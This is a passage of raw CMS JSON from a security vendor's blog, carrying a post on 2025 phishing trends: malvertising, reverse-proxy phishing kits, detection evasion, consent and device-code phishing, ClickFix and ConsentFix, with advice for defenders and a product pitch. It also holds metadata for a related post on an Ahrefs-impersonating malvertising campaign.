“",{"data":83737,"content":83739,"nodeType":889},{"uri":83738},"https://pushsecurity.com/blog/analysing-a-sophisticated-google-malvertising-attack",[83740],{"data":83741,"marks":83742,"value":70863,"nodeType":865},{},[83743],{"type":943},{"data":83745,"marks":83746,"value":83747,"nodeType":865},{},[],"” and “",{"data":83749,"content":83751,"nodeType":889},{"uri":83750},"https://pushsecurity.com/blog/investigating-a-recent-malvertising-campaign-targeting-onfido-customers",[83752],{"data":83753,"marks":83754,"value":70887,"nodeType":865},{},[83755],{"type":943},{"data":83757,"marks":83758,"value":83759,"nodeType":865},{},[],"”. ",{"data":83761,"content":83765,"nodeType":912},{"target":83762},{"sys":83763},{"id":83764,"type":909,"linkType":910},"3LjyZooaJQ83eJt8DRX9bP",[],{"data":83767,"content":83771,"nodeType":912},{"target":83768},{"sys":83769},{"id":83770,"type":909,"linkType":910},"644LdQYjRHerpKU5pCGv1n",[],{"data":83773,"content":83777,"nodeType":912},{"target":83774},{"sys":83775},{"id":83776,"type":909,"linkType":910},"3anCGk5A4AOVH1t9dr1xKp",[],{"data":83779,"content":83780,"nodeType":866},{},[83781],{"data":83782,"marks":83783,"value":83784,"nodeType":865},{},[],"Phishing via non-email channels has a number of advantages. With email being the best protected phishing vector, it sidesteps these controls entirely. There’s no need to build up your sender reputation, find ways to trick content analysis engines, or hope your message doesn’t end up in the spam folder.",{"data":83786,"content":83787,"nodeType":866},{},[83788],{"data":83789,"marks":83790,"value":83791,"nodeType":865},{},[],"In comparison, non-email vectors have practically no screening, your security team has no visibility, and users are less likely to anticipate possible phishing. It’s arguable that a company Exec is more likely to engage with a LinkedIn DM from a reputable account than a cold email. And social media apps do nothing to analyse messages for phishing links. (And because of the limitations of URL-based checks when it comes to today’s multi-stage phishing attacks, this would be extremely difficult even if they tried). ",{"data":83793,"content":83794,"nodeType":866},{},[83795,83799,83807],{"data":83796,"marks":83797,"value":83798,"nodeType":865},{},[],"Search engines also present a huge opportunity for attackers, whether they’re compromising existing, high reputation sites, spinning up malicious ads, or simply vibe coding their own SEO-optimized websites. This is an effective way to launch “watering hole” style attacks, casting a wide net to harvest credentials and account access that can be re-sold to other criminals for a fee, or leveraged by partners in the cybercriminal ecosystem as part of major cyber breaches (such as the recent attacks by the “",{"data":83800,"content":83802,"nodeType":889},{"uri":83801},"https://pushsecurity.com/blog/scattered-lapsus-hunters",[83803],{"data":83804,"marks":83805,"value":8673,"nodeType":865},{},[83806],{"type":943},{"data":83808,"marks":83809,"value":83810,"nodeType":865},{},[],"” criminal collective, all of which began with identity-based initial access). ",{"data":83812,"content":83813,"nodeType":972},{},[],{"data":83815,"content":83816,"nodeType":981},{},[83817],{"data":83818,"marks":83819,"value":83821,"nodeType":865},{},[83820],{"type":926},"#2: Criminal PhaaS kits dominate",{"data":83823,"content":83824,"nodeType":866},{},[83825],{"data":83826,"marks":83827,"value":83828,"nodeType":865},{},[],"The vast majority of phishing attacks today use a reverse proxy. This means they are capable of bypassing most forms of MFA because a session is created and stolen in real time as part of the attack. There is no downside to this approach compared to the basic credential phishing that was the norm more than a decade ago.",{"data":83830,"content":83831,"nodeType":866},{},[83832],{"data":83833,"marks":83834,"value":83835,"nodeType":865},{},[],"These Attacker-in-the-Middle attacks are powered by criminal Phishing-as-a-Service (PhaaS) kits such as Tycoon, NakedPages, Sneaky2FA, Flowerstorm, Salty2FA, along with various Evilginx variations (nominally a tool for red teamers, but widely used by attackers). ",{"data":83837,"content":83838,"nodeType":866},{},[83839],{"data":83840,"marks":83841,"value":83842,"nodeType":865},{},[],"PhaaS kits are incredibly important to cybercrime because they make sophisticated and continuously evolving capabilities available to the criminal marketplace, lowering the barrier to entry for criminals running advanced phishing campaigns. This is not unique to phishing: Ransomware-as-a-Service, Credential Stuffing-as-a-Service, and many more for-hire tools and services exist for criminals to use for a fee. ",{"data":83844,"content":83845,"nodeType":866},{},[83846,83850,83859,83862,83869,83873,83882],{"data":83847,"marks":83848,"value":83849,"nodeType":865},{},[],"This competitive environment has fueled attacker innovation, resulting in an environment in which MFA-bypass is table stakes, phishing-resistant authentication is being circumvented through ",{"data":83851,"content":83853,"nodeType":889},{"uri":83852},"https://pushsecurity.com/blog/mfa-downgrade-attacks",[83854],{"data":83855,"marks":83856,"value":83858,"nodeType":865},{},[83857],{"type":943},"downgrade attacks",{"data":83860,"marks":83861,"value":3476,"nodeType":865},{},[],{"data":83863,"content":83864,"nodeType":889},{"uri":8862},[83865],{"data":83866,"marks":83867,"value":8868,"nodeType":865},{},[83868],{"type":943},{"data":83870,"marks":83871,"value":83872,"nodeType":865},{},[]," are being used to circumvent security tools — from email scanners, to web-crawling security tools, to web proxies analyzing network traffic. It also means that when new capabilities emerge — such as ",{"data":83874,"content":83876,"nodeType":889},{"uri":83875},"https://pushsecurity.com/blog/analyzing-the-latest-sneaky2fa-phishing-page",[83877],{"data":83878,"marks":83879,"value":83881,"nodeType":865},{},[83880],{"type":943},"Browser-in-the-Browser",{"data":83883,"marks":83884,"value":83885,"nodeType":865},{},[]," — these are quickly integrated into a range of phishing kits. ",{"data":83887,"content":83888,"nodeType":866},{},[83889],{"data":83890,"marks":83891,"value":83892,"nodeType":865},{},[],"Some of the most prevalent detection evasion methods we’ve seen this year are:",{"data":83894,"content":83895,"nodeType":1616},{},[83896,83906,83916],{"data":83897,"content":83898,"nodeType":1570},{},[83899],{"data":83900,"content":83901,"nodeType":866},{},[83902],{"data":83903,"marks":83904,"value":83905,"nodeType":865},{},[],"Widespread use of bot protection. Every phishing page today comes with either a custom CAPTCHA or Cloudflare Turnstile (legitimate and fake versions) designed to block web-crawling security bots from being able to analyse phishing pages. ",{"data":83907,"content":83908,"nodeType":1570},{},[83909],{"data":83910,"content":83911,"nodeType":866},{},[83912],{"data":83913,"marks":83914,"value":83915,"nodeType":865},{},[],"Extensive redirect chains between the initial link seeded out to the victim, and the actual malicious page hosting phishing content, designed to bury phishing sites among several legitimate pages. ",{"data":83917,"content":83918,"nodeType":1570},{},[83919],{"data":83920,"content":83921,"nodeType":866},{},[83922,83926,83934],{"data":83923,"marks":83924,"value":83925,"nodeType":865},{},[],"Multi-stage page loading performed client-side via JavaScript. This means that pages are ",{"data":83927,"content":83928,"nodeType":889},{"uri":66627},[83929],{"data":83930,"marks":83931,"value":83933,"nodeType":865},{},[83932],{"type":943},"conditionally loaded",{"data":83935,"marks":83936,"value":83937,"nodeType":865},{},[],", and if conditions aren’t met, malicious content isn’t served — so the page looks clean. This also means that most of the malicious activity is happening locally, without creating web requests that can be analysed by network traffic analysis tools (e.g. web proxies). ",{"data":83939,"content":83943,"nodeType":912},{"target":83940},{"sys":83941},{"id":83942,"type":909,"linkType":910},"5LLgjhCexTYd5OlHuptv3n",[],{"data":83945,"content":83946,"nodeType":866},{},[83947],{"data":83948,"marks":83949,"value":83950,"nodeType":865},{},[],"This contributes to an environment where phishing is going undetected for extended periods of time. Even when a page is flagged, it’s trivial for attackers to dynamically serve up different phishing pages from the same benign chain of URLs used in the attack. ",{"data":83952,"content":83953,"nodeType":866},{},[83954],{"data":83955,"marks":83956,"value":83957,"nodeType":865},{},[],"This is all to say that the old-school approach to URL blocking bad sites is becoming much harder and leaves you two steps behind attackers at all times.",{"data":83959,"content":83960,"nodeType":972},{},[],{"data":83962,"content":83963,"nodeType":981},{},[83964],{"data":83965,"marks":83966,"value":83968,"nodeType":865},{},[83967],{"type":926},"#3: Attackers find ways around phishing-resistant authentication (and other security controls)",{"data":83970,"content":83971,"nodeType":866},{},[83972],{"data":83973,"marks":83974,"value":83975,"nodeType":865},{},[],"We already mentioned that MFA downgrade has been an area of focus for security researchers and attackers. But phishing-resistant authentication methods (i.e. passkeys) remain effective so long as the phishing-resistant factor is the only possible login factor, and there are no backup methods enabled for the account. (Though because of the logistical issues of having just one factor, this is fairly uncommon.) ",{"data":83977,"content":83978,"nodeType":866},{},[83979],{"data":83980,"marks":83981,"value":83982,"nodeType":865},{},[],"Equally, access control policies can be applied on larger enterprise apps and cloud platforms to reduce the risk of unauthorized access (although these can be tricky to implement and maintain without error).",{"data":83984,"content":83985,"nodeType":866},{},[83986],{"data":83987,"marks":83988,"value":83989,"nodeType":865},{},[],"In any case, attackers are considering all eventualities and looking for alternative ways into accounts that are less well protected. This mainly involves attackers circumventing the standard authentication process, through techniques such as:",{"data":83991,"content":83992,"nodeType":1616},{},[83993,84020,84045],{"data":83994,"content":83995,"nodeType":1570},{},[83996],{"data":83997,"content":83998,"nodeType":866},{},[83999,84002,84011,84016],{"data":84000,"marks":84001,"value":21,"nodeType":865},{},[],{"data":84003,"content":84004,"nodeType":889},{"uri":56197},[84005],{"data":84006,"marks":84007,"value":84010,"nodeType":865},{},[84008,84009],{"type":943},{"type":926},"Consent phishing",{"data":84012,"marks":84013,"value":84015,"nodeType":865},{},[84014],{"type":926},":",{"data":84017,"marks":84018,"value":84019,"nodeType":865},{},[]," Tricking victims into connecting malicious OAuth apps into their app tenant.",{"data":84021,"content":84022,"nodeType":1570},{},[84023],{"data":84024,"content":84025,"nodeType":866},{},[84026,84029,84037,84041],{"data":84027,"marks":84028,"value":21,"nodeType":865},{},[],{"data":84030,"content":84031,"nodeType":889},{"uri":8450},[84032],{"data":84033,"marks":84034,"value":360,"nodeType":865},{},[84035,84036],{"type":943},{"type":926},{"data":84038,"marks":84039,"value":7578,"nodeType":865},{},[84040],{"type":926},{"data":84042,"marks":84043,"value":84044,"nodeType":865},{},[],"The same as consent phishing, but authorizing through the device code flow designed for device logins that cannot support OAuth, by providing a substitute passcode. ",{"data":84046,"content":84047,"nodeType":1570},{},[84048],{"data":84049,"content":84050,"nodeType":866},{},[84051,84056],{"data":84052,"marks":84053,"value":84055,"nodeType":865},{},[84054],{"type":926},"Malicious browser extensions: ",{"data":84057,"marks":84058,"value":84059,"nodeType":865},{},[],"Tricking victims into installing a malicious extension (or hijacking an existing one) to steal credentials and cookies from the browser. ",{"data":84061,"content":84065,"nodeType":912},{"target":84062},{"sys":84063},{"id":84064,"type":909,"linkType":910},"75lMjdJtq9APebTaF2hQ1b",[],{"data":84067,"content":84071,"nodeType":912},{"target":84068},{"sys":84069},{"id":84070,"type":909,"linkType":910},"4KWwlg8PsuyAud8i5tpWfH",[],{"data":84073,"content":84074,"nodeType":866},{},[84075,84079,84087,84091,84100],{"data":84076,"marks":84077,"value":84078,"nodeType":865},{},[],"Another technique that attackers are using to steal credentials and sessions is ",{"data":84080,"content":84082,"nodeType":889},{"uri":84081},"https://pushsecurity.com/blog/the-most-advanced-clickfix-yet",[84083],{"data":84084,"marks":84085,"value":315,"nodeType":865},{},[84086],{"type":943},{"data":84088,"marks":84089,"value":84090,"nodeType":865},{},[],". ClickFix was the ",{"data":84092,"content":84094,"nodeType":889},{"uri":84093},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf#page=36",[84095],{"data":84096,"marks":84097,"value":84099,"nodeType":865},{},[84098],{"type":943},"top initial access vector detected by Microsoft last year",{"data":84101,"marks":84102,"value":84103,"nodeType":865},{},[],", involved in 47% of attacks. While not a traditional phishing attack, this sees attackers socially engineer users into running malicious code on their machine, typically deploying remote access tools and infostealer malware. Infostealers are then used to harvest credentials and cookies for initial access to various apps and services. ",{"data":84105,"content":84109,"nodeType":912},{"target":84106},{"sys":84107},{"id":84108,"type":909,"linkType":910},"4cC9GbPoKFmYUJgbkbeOLs",[],{"data":84111,"content":84112,"nodeType":866},{},[84113,84117,84125],{"data":84114,"marks":84115,"value":84116,"nodeType":865},{},[],"Push Security researchers have also discovered a brand new technique dubbed ",{"data":84118,"content":84120,"nodeType":889},{"uri":84119},"https://pushsecurity.com/blog/consentfix",[84121],{"data":84122,"marks":84123,"value":7465,"nodeType":865},{},[84124],{"type":943},{"data":84126,"marks":84127,"value":84128,"nodeType":865},{},[]," — a browser-native version of ClickFix that results in an OAuth connection being established to the target app, simply by copying and pasting a legitimate URL containing OAuth key material. ",{"data":84130,"content":84134,"nodeType":912},{"target":84131},{"sys":84132},{"id":84133,"type":909,"linkType":910},"4bdqleePd53oK5v5uEUFbr",[],{"data":84136,"content":84137,"nodeType":866},{},[84138],{"data":84139,"marks":84140,"value":84141,"nodeType":865},{},[],"This is even more dangerous than ClickFix as it is entirely browser-native — removing the endpoint detection surface (and strong security controls like EDR) from the equation entirely. And in the particular case spotted by Push, the attackers targeted Azure CLI — a first-party Microsoft app that has special permissions and can’t be restricted like third-party apps. ",{"data":84143,"content":84144,"nodeType":866},{},[84145],{"data":84146,"marks":84147,"value":84148,"nodeType":865},{},[],"Really, there are lots of different techniques attackers can use to take over accounts on key business applications — it’s outdated to think of phishing as being locked in to passwords, MFA, and the standard authentication flow. ",{"data":84150,"content":84154,"nodeType":912},{"target":84151},{"sys":84152},{"id":84153,"type":909,"linkType":910},"74S97KkuFzI48UwXw3msTq",[],{"data":84156,"content":84157,"nodeType":972},{},[],{"data":84159,"content":84160,"nodeType":981},{},[84161],{"data":84162,"marks":84163,"value":84165,"nodeType":865},{},[84164],{"type":926},"Guidance for security teams in 2026",{"data":84167,"content":84168,"nodeType":866},{},[84169],{"data":84170,"marks":84171,"value":84172,"nodeType":865},{},[],"To tackle phishing in 2026, security teams need to change their threat model for phishing, and acknowledge that:",{"data":84174,"content":84175,"nodeType":1616},{},[84176,84186,84196],{"data":84177,"content":84178,"nodeType":1570},{},[84179],{"data":84180,"content":84181,"nodeType":866},{},[84182],{"data":84183,"marks":84184,"value":84185,"nodeType":865},{},[],"It’s not enough to protect email as your main anti-phishing surface",{"data":84187,"content":84188,"nodeType":1570},{},[84189],{"data":84190,"content":84191,"nodeType":866},{},[84192],{"data":84193,"marks":84194,"value":84195,"nodeType":865},{},[],"Network and traffic monitoring tools aren’t keeping up with modern phishing pages",{"data":84197,"content":84198,"nodeType":1570},{},[84199],{"data":84200,"content":84201,"nodeType":866},{},[84202],{"data":84203,"marks":84204,"value":84205,"nodeType":865},{},[],"Phishing-resistant authentication, even if perfectly implemented, doesn’t make you immune",{"data":84207,"content":84208,"nodeType":866},{},[84209],{"data":84210,"marks":84211,"value":84212,"nodeType":865},{},[],"Detection and response is key. But most organizations have significant visibility gaps.",{"data":84214,"content":84215,"nodeType":972},{},[],{"data":84217,"content":84218,"nodeType":981},{},[84219],{"data":84220,"marks":84221,"value":84223,"nodeType":865},{},[84222],{"type":926},"Solving the detection gap in the browser",{"data":84225,"content":84226,"nodeType":866},{},[84227],{"data":84228,"marks":84229,"value":84230,"nodeType":865},{},[],"One thing that these attacks have in common is that they all take place in the web browser, targeting users as they go about their work on the internet. That makes it the perfect place to detect and respond to these attacks. But right now, the browser is a blind-spot for most security teams.",{"data":84232,"content":84233,"nodeType":866},{},[84234],{"data":84235,"marks":84236,"value":84237,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":84239,"content":84240,"nodeType":866},{},[84241,84244,84251,84254,84261],{"data":84242,"marks":84243,"value":11372,"nodeType":865},{},[],{"data":84245,"content":84246,"nodeType":889},{"uri":11375},[84247],{"data":84248,"marks":84249,"value":11381,"nodeType":865},{},[84250],{"type":943},{"data":84252,"marks":84253,"value":53880,"nodeType":865},{},[],{"data":84255,"content":84256,"nodeType":889},{"uri":1372},[84257],{"data":84258,"marks":84259,"value":11405,"nodeType":865},{},[84260],{"type":943},{"data":84262,"marks":84263,"value":1615,"nodeType":865},{},[],{"data":84265,"content":84268,"nodeType":912},{"target":84266},{"sys":84267},{"id":67359,"type":909,"linkType":910},[],{"data":84270,"content":84271,"nodeType":866},{},[84272],{"data":84273,"marks":84274,"value":21,"nodeType":865},{},[],"2025’s top phishing trends — and what they mean for your 2026 security strategy","Analyzing the key trends that defined phishing attacks in 2025, and what these changes mean for security teams heading into 2026. ","2025-12-15T00:00:00.000Z","2025-top-phishing-trends",{"items":84280},[84281,84283],{"sys":84282,"name":342},{"id":4642},{"sys":84284,"name":7796},{"id":7795},{"items":84286},[84287],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":84288},{"url":7804},"blog/cyber-criminal-ecosystem-analysis",{"json":84291},{"data":84292,"content":84293,"nodeType":1382},{},[84294],{"data":84295,"content":84296,"nodeType":866},{},[84297],{"data":84298,"marks":84299,"value":84300,"nodeType":865},{},[],"Attackers are going out of their way to target Google Ad Manager accounts, powering malvertising scams. Here’s what you need to know.",{"id":33601,"publishedAt":84302},"2026-08-12T11:53:19.611Z",{"items":84304},[84305,84307],{"sys":84306,"name":7796},{"id":7795},{"sys":84308,"name":342},{"id":4642},{"items":84310},[84311,84313,84315,84317,84319,84321,84323,84325,84327,84329,84331,84333,84335],{"sys":84312,"name":279,"slug":280,"tier":31},{"id":276},{"sys":84314,"name":519,"slug":520,"tier":31},{"id":516},{"sys":84316,"name":642,"slug":643,"tier":31},{"id":639},{"sys":84318,"name":440,"slug":441,"tier":45},{"id":437},{"sys":84320,"name":261,"slug":262,"tier":45},{"id":258},{"sys":84322,"name":571,"slug":572,"tier":45},{"id":568},{"sys":84324,"name":422,"slug":423,"tier":45},{"id":419},{"sys":84326,"name":315,"slug":316,"tier":45},{"id":312},{"sys":84328,"name":607,"slug":608,"tier":45},{"id":604},{"sys":84330,"name":324,"slug":325,"tier":45},{"id":321},{"sys":84332,"name":475,"slug":476,"tier":45},{"id":472},{"sys":84334,"name":404,"slug":405,"tier":45},{"id":401},{"sys":84336,"name":431,"slug":432,"tier":45},{"id":428},"j5kz4wXsWGgjMwFQGvl7HjTkzJTgcqSvTlxgkr_rNLg",{"id":84339,"title":36706,"authorsCollection":84340,"content":84345,"extension":228,"faqItemsCollection":85001,"faqTitle":59,"featured":6,"hashTags":59,"meta":85003,"metaTitle":85004,"ogImage":59,"postType":42959,"publishedDate":71177,"relatedBlogPostsCollection":85005,"slug":36707,"stem":86421,"subtitle":59,"summary":86422,"synopsis":71176,"sys":86433,"tagsCollection":86435,"topicsCollection":86441,"__hash__":86461},"blog/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs.json",{"items":84341},[84342],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":84343,"profilePicture":84344},[30152],{"url":7804},{"json":84346,"links":84874},{"data":84347,"content":84348,"nodeType":1382},{},[84349,84355,84361,84402,84407,84413,84419,84424,84429,84434,84437,84444,84450,84455,84461,84466,84471,84477,84482,84497,84500,84507,84513,84519,84525,84531,84536,84551,84554,84561,84567,84613,84619,84625,84628,84635,84641,84647,84653,84679,84682,84689,84705,84711,84750,84756,84795,84801,84867],{"data":84350,"content":84351,"nodeType":866},{},[84352],{"data":84353,"marks":84354,"value":70589,"nodeType":865},{},[],{"data":84356,"content":84357,"nodeType":866},{},[84358],{"data":84359,"marks":84360,"value":70596,"nodeType":865},{},[],{"data":84362,"content":84363,"nodeType":1616},{},[84364,84383],{"data":84365,"content":84366,"nodeType":1570},{},[84367],{"data":84368,"content":84369,"nodeType":866},{},[84370,84373,84380],{"data":84371,"marks":84372,"value":70609,"nodeType":865},{},[],{"data":84374,"content":84375,"nodeType":889},{"uri":70612},[84376],{"data":84377,"marks":84378,"value":70618,"nodeType":865},{},[84379],{"type":943},{"data":84381,"marks":84382,"value":70622,"nodeType":865},{},[],{"data":84384,"content":84385,"nodeType":1570},{},[84386],{"data":84387,"content":84388,"nodeType":866},{},[84389,84392,84399],{"data":84390,"marks":84391,"value":70632,"nodeType":865},{},[],{"data":84393,"content":84394,"nodeType":889},{"uri":70635},[84395],{"data":84396,"marks":84397,"value":70641,"nodeType":865},{},[84398],{"type":943},{"data":84400,"marks":84401,"value":70645,"nodeType":865},{},[],{"data":84403,"content":84406,"nodeType":912},{"target":84404},{"sys":84405},{"id":70650,"type":909,"linkType":910},[],{"data":84408,"content":84409,"nodeType":866},{},[84410],{"data":84411,"marks":84412,"value":70658,"nodeType":865},{},[],{"data":84414,"content":84415,"nodeType":866},{},[84416],{"data":84417,"marks":84418,"value":70665,"nodeType":865},{},[],{"data":84420,"content":84423,"nodeType":912},{"target":84421},{"sys":84422},{"id":70670,"type":909,"linkType":910},[],{"data":84425,"content":84428,"nodeType":912},{"target":84426},{"sys":84427},{"id":70676,"type":909,"linkType":910},[],{"data":84430,"content":84433,"nodeType":912},{"target":84431},{"sys":84432},{"id":70682,"type":909,"linkType":910},[],{"data":84435,"content":84436,"nodeType":972},{},[],{"data":84438,"content":84439,"nodeType":981},{},[84440],{"data":84441,"marks":84442,"value":70694,"nodeType":865},{},[84443],{"type":926},{"data":84445,"content":84446,"nodeType":866},{},[84447],{"data":84448,"marks":84449,"value":70701,"nodeType":865},{},[],{"data":84451,"content":84454,"nodeType":912},{"target":84452},{"sys":84453},{"id":70706,"type":909,"linkType":910},[],{"data":84456,"content":84457,"nodeType":866},{},[84458],{"data":84459,"marks":84460,"value":70714,"nodeType":865},{},[],{"data":84462,"content":84465,"nodeType":912},{"target":84463},{"sys":84464},{"id":70719,"type":909,"linkType":910},[],{"data":84467,"content":84470,"nodeType":912},{"target":84468},{"sys":84469},{"id":70725,"type":909,"linkType":910},[],{"data":84472,"content":84473,"nodeType":866},{},[84474],{"data":84475,"marks":84476,"value":70733,"nodeType":865},{},[],{"data":84478,"content":84481,"nodeType":912},{"target":84479},{"sys":84480},{"id":70738,"type":909,"linkType":910},[],{"data":84483,"content":84484,"nodeType":866},{},[84485,84488,84494],{"data":84486,"marks":84487,"value":70746,"nodeType":865},{},[],{"data":84489,"content":84490,"nodeType":889},{"uri":70612},[84491],{"data":84492,"marks":84493,"value":70753,"nodeType":865},{},[],{"data":84495,"marks":84496,"value":14251,"nodeType":865},{},[],{"data":84498,"content":84499,"nodeType":972},{},[],{"data":84501,"content":84502,"nodeType":981},{},[84503],{"data":84504,"marks":84505,"value":70767,"nodeType":865},{},[84506],{"type":926},{"data":84508,"content":84509,"nodeType":866},{},[84510],{"data":84511,"marks":84512,"value":70774,"nodeType":865},{},[],{"data":84514,"content":84515,"nodeType":866},{},[84516],{"data":84517,"marks":84518,"value":70781,"nodeType":865},{},[],{"data":84520,"content":84521,"nodeType":866},{},[84522],{"data":84523,"marks":84524,"value":70788,"nodeType":865},{},[],{"data":84526,"content":84527,"nodeType":866},{},[84528],{"data":84529,"marks":84530,"value":70795,"nodeType":865},{},[],{"data":84532,"content":84535,"nodeType":912},{"target":84533},{"sys":84534},{"id":70800,"type":909,"linkType":910},[],{"data":84537,"content":84538,"nodeType":866},{},[84539,84542,84548],{"data":84540,"marks":84541,"value":70808,"nodeType":865},{},[],{"data":84543,"content":84544,"nodeType":889},{"uri":70811},[84545],{"data":84546,"marks":84547,"value":70816,"nodeType":865},{},[],{"data":84549,"marks":84550,"value":14251,"nodeType":865},{},[],{"data":84552,"content":84553,"nodeType":972},{},[],{"data":84555,"content":84556,"nodeType":981},{},[84557],{"data":84558,"marks":84559,"value":70830,"nodeType":865},{},[84560],{"type":926},{"data":84562,"content":84563,"nodeType":866},{},[84564],{"data":84565,"marks":84566,"value":70837,"nodeType":865},{},[],{"data":84568,"content":84569,"nodeType":866},{},[84570,84573,84580,84583,84590,84593,84600,84603,84610],{"data":84571,"marks":84572,"value":70844,"nodeType":865},{},[],{"data":84574,"content":84575,"nodeType":889},{"uri":14355},[84576],{"data":84577,"marks":84578,"value":315,"nodeType":865},{},[84579],{"type":943},{"data":84581,"marks":84582,"value":70855,"nodeType":865},{},[],{"data":84584,"content":84585,"nodeType":889},{"uri":1082},[84586],{"data":84587,"marks":84588,"value":70863,"nodeType":865},{},[84589],{"type":943},{"data":84591,"marks":84592,"value":2717,"nodeType":865},{},[],{"data":84594,"content":84595,"nodeType":889},{"uri":70869},[84596],{"data":84597,"marks":84598,"value":70875,"nodeType":865},{},[84599],{"type":943},{"data":84601,"marks":84602,"value":3476,"nodeType":865},{},[],{"data":84604,"content":84605,"nodeType":889},{"uri":70881},[84606],{"data":84607,"marks":84608,"value":70887,"nodeType":865},{},[84609],{"type":943},{"data":84611,"marks":84612,"value":70891,"nodeType":865},{},[],{"data":84614,"content":84615,"nodeType":866},{},[84616],{"data":84617,"marks":84618,"value":70898,"nodeType":865},{},[],{"data":84620,"content":84621,"nodeType":866},{},[84622],{"data":84623,"marks":84624,"value":70905,"nodeType":865},{},[],{"data":84626,"content":84627,"nodeType":972},{},[],{"data":84629,"content":84630,"nodeType":981},{},[84631],{"data":84632,"marks":84633,"value":67289,"nodeType":865},{},[84634],{"type":926},{"data":84636,"content":84637,"nodeType":866},{},[84638],{"data":84639,"marks":84640,"value":70922,"nodeType":865},{},[],{"data":84642,"content":84643,"nodeType":866},{},[84644],{"data":84645,"marks":84646,"value":70929,"nodeType":865},{},[],{"data":84648,"content":84649,"nodeType":866},{},[84650],{"data":84651,"marks":84652,"value":70936,"nodeType":865},{},[],{"data":84654,"content":84655,"nodeType":866},{},[84656,84659,84666,84669,84676],{"data":84657,"marks":84658,"value":11372,"nodeType":865},{},[],{"data":84660,"content":84661,"nodeType":889},{"uri":11375},[84662],{"data":84663,"marks":84664,"value":11381,"nodeType":865},{},[84665],{"type":943},{"data":84667,"marks":84668,"value":53880,"nodeType":865},{},[],{"data":84670,"content":84671,"nodeType":889},{"uri":1372},[84672],{"data":84673,"marks":84674,"value":11405,"nodeType":865},{},[84675],{"type":943},{"data":84677,"marks":84678,"value":1615,"nodeType":865},{},[],{"data":84680,"content":84681,"nodeType":972},{},[],{"data":84683,"content":84684,"nodeType":981},{},[84685],{"data":84686,"marks":84687,"value":67181,"nodeType":865},{},[84688],{"type":926},{"data":84690,"content":84691,"nodeType":866},{},[84692,84695,84702],{"data":84693,"marks":84694,"value":44799,"nodeType":865},{},[],{"data":84696,"content":84697,"nodeType":889},{"uri":38042},[84698],{"data":84699,"marks":84700,"value":38047,"nodeType":865},{},[84701],{"type":943},{"data":84703,"marks":84704,"value":67198,"nodeType":865},{},[],{"data":84706,"content":84707,"nodeType":866},{},[84708],{"data":84709,"marks":84710,"value":70995,"nodeType":865},{},[],{"data":84712,"content":84713,"nodeType":1616},{},[84714,84723,84732,84741],{"data":84715,"content":84716,"nodeType":1570},{},[84717],{"data":84718,"content":84719,"nodeType":866},{},[84720],{"data":84721,"marks":84722,"value":71008,"nodeType":865},{},[],{"data":84724,"content":84725,"nodeType":1570},{},[84726],{"data":84727,"content":84728,"nodeType":866},{},[84729],{"data":84730,"marks":84731,"value":71018,"nodeType":865},{},[],{"data":84733,"content":84734,"nodeType":1570},{},[84735],{"data":84736,"content":84737,"nodeType":866},{},[84738],{"data":84739,"marks":84740,"value":71028,"nodeType":865},{},[],{"data":84742,"content":84743,"nodeType":1570},{},[84744],{"data":84745,"content":84746,"nodeType":866},{},[84747],{"data":84748,"marks":84749,"value":71038,"nodeType":865},{},[],{"data":84751,"content":84752,"nodeType":866},{},[84753],{"data":84754,"marks":84755,"value":71045,"nodeType":865},{},[],{"data":84757,"content":84758,"nodeType":1616},{},[84759,84768,84777,84786],{"data":84760,"content":84761,"nodeType":1570},{},[84762],{"data":84763,"content":84764,"nodeType":866},{},[84765],{"data":84766,"marks":84767,"value":71058,"nodeType":865},{},[],{"data":84769,"content":84770,"nodeType":1570},{},[84771],{"data":84772,"content":84773,"nodeType":866},{},[84774],{"data":84775,"marks":84776,"value":71068,"nodeType":865},{},[],{"data":84778,"content":84779,"nodeType":1570},{},[84780],{"data":84781,"content":84782,"nodeType":866},{},[84783],{"data":84784,"marks":84785,"value":71078,"nodeType":865},{},[],{"data":84787,"content":84788,"nodeType":1570},{},[84789],{"data":84790,"content":84791,"nodeType":866},{},[84792],{"data":84793,"marks":84794,"value":71088,"nodeType":865},{},[],{"data":84796,"content":84797,"nodeType":866},{},[84798],{"data":84799,"marks":84800,"value":71095,"nodeType":865},{},[],{"data":84802,"content":84803,"nodeType":1616},{},[84804,84813,84822,84831,84840,84849,84858],{"data":84805,"content":84806,"nodeType":1570},{},[84807],{"data":84808,"content":84809,"nodeType":866},{},[84810],{"data":84811,"marks":84812,"value":71108,"nodeType":865},{},[],{"data":84814,"content":84815,"nodeType":1570},{},[84816],{"data":84817,"content":84818,"nodeType":866},{},[84819],{"data":84820,"marks":84821,"value":71118,"nodeType":865},{},[],{"data":84823,"content":84824,"nodeType":1570},{},[84825],{"data":84826,"content":84827,"nodeType":866},{},[84828],{"data":84829,"marks":84830,"value":71128,"nodeType":865},{},[],{"data":84832,"content":84833,"nodeType":1570},{},[84834],{"data":84835,"content":84836,"nodeType":866},{},[84837],{"data":84838,"marks":84839,"value":71138,"nodeType":865},{},[],{"data":84841,"content":84842,"nodeType":1570},{},[84843],{"data":84844,"content":84845,"nodeType":866},{},[84846],{"data":84847,"marks":84848,"value":71148,"nodeType":865},{},[],{"data":84850,"content":84851,"nodeType":1570},{},[84852],{"data":84853,"content":84854,"nodeType":866},{},[84855],{"data":84856,"marks":84857,"value":71158,"nodeType":865},{},[],{"data":84859,"content":84860,"nodeType":1570},{},[84861],{"data":84862,"content":84863,"nodeType":866},{},[84864],{"data":84865,"marks":84866,"value":71168,"nodeType":865},{},[],{"data":84868,"content":84869,"nodeType":866},{},[84870],{"data":84871,"marks":84872,"value":37990,"nodeType":865},{},[84873],{"type":926},{"entries":84875},{"hyperlink":84876,"inline":84877,"block":84878},[],[],[84879,84885,84889,84915,84919,84926,84951,84956,84961],{"sys":84880,"__typename":1390,"title":84881,"caption":84881,"layoutMode":59,"file":84882},{"id":70650},"We reported on this campaign running malicious ads for 